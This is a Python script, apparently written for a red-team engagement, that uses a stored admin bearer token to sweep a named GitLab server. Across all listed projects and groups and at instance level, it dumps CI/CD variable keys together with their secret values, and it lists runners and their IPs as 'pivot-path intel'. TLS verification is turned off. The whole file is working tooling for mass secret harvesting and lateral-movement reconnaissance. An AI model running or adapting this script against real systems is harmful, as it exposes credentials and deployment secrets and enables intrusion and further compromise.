#!/usr/bin/env python3
"""vdss CI/CD variables sweep — all 91 projects + 26 groups + instance.
Read-only, incremental write per object (survives timeout). Engagement one-off."""
import json, ssl, sys, time, urllib.error, urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path

BASE = 'https://gitlab.vdss.com.vn'
D = Path('/root/ir-assessment/redteam/gitlab_vdss_com_vn')
TOK = (D/'.token').read_text().strip()
CTX = ssl.create_default_context(); CTX.check_hostname=False; CTX.verify_mode=ssl.CERT_NONE
H = {'Authorization': f'Bearer {TOK}', 'User-Agent': 'l2-ci/1.0'}

def get(path):
    req = urllib.request.Request(BASE+path, headers=H)
    for a in (1,2,3):
        try:
            with urllib.request.urlopen(req, timeout=30, context=CTX) as r:
                return json.loads(r.read())
        except urllib.error.HTTPError as e:
            if e.code in (429,500,502,503) and a<3: time.sleep(2*a); continue
            return None
        except Exception:
            return None
    return None

enum = json.load(open(D/'L2_admin_enum.json'))
projs = enum['projects']; groups = enum['groups']
out = {'instance': [], 'project': [], 'group': [], 'runners': []}

# instance CI vars (admin)
iv = get('/api/v4/admin/ci/variables')
if isinstance(iv, list):
    out['instance'] = [{'key':v.get('key'),'value':v.get('value'),'masked':v.get('masked'),'protected':v.get('protected')} for v in iv]

def civars(scope, obj):
    vs = get(f"/api/v4/{scope}s/{obj['id']}/variables")
    if not isinstance(vs, list): return []
    return [{'name':obj['path'],'key':v.get('key'),'value':v.get('value'),
             'masked':v.get('masked'),'protected':v.get('protected'),'env':v.get('environment_scope')} for v in vs]

tasks = [('project',p) for p in projs] + [('group',g) for g in groups]
done = 0
with ThreadPoolExecutor(max_workers=10) as ex:
    futs = {ex.submit(civars,s,o):(s,o['path']) for s,o in tasks}
    for f in as_completed(futs):
        s,path = futs[f]; res = f.result()
        out['project' if s=='project' else 'group'].extend(res)
        done += 1
        if res: print(f"  [CI:{s[0]}] {path}: {len(res)}", flush=True)
        if done % 20 == 0:
            (D/'L2_civars.json').write_text(json.dumps(out, ensure_ascii=False, indent=1))
            print(f"  ... {done}/{len(tasks)} (p={len(out['project'])} g={len(out['group'])} i={len(out['instance'])})", flush=True)

# runners (admin view, read-only) — pivot-path intel
rn = get('/api/v4/runners/all?per_page=100')
if isinstance(rn, list):
    out['runners'] = [{'id':r.get('id'),'description':r.get('description'),'ip_address':r.get('ip_address'),
                       'status':r.get('status'),'is_shared':r.get('is_shared'),'runner_type':r.get('runner_type'),
                       'tag_list':r.get('tag_list')} for r in rn]

(D/'L2_civars.json').write_text(json.dumps(out, ensure_ascii=False, indent=1))
print(f"[+] DONE projects={len(projs)} groups={len(groups)} | CI proj={len(out['project'])} grp={len(out['group'])} inst={len(out['instance'])} runners={len(out['runners'])}")
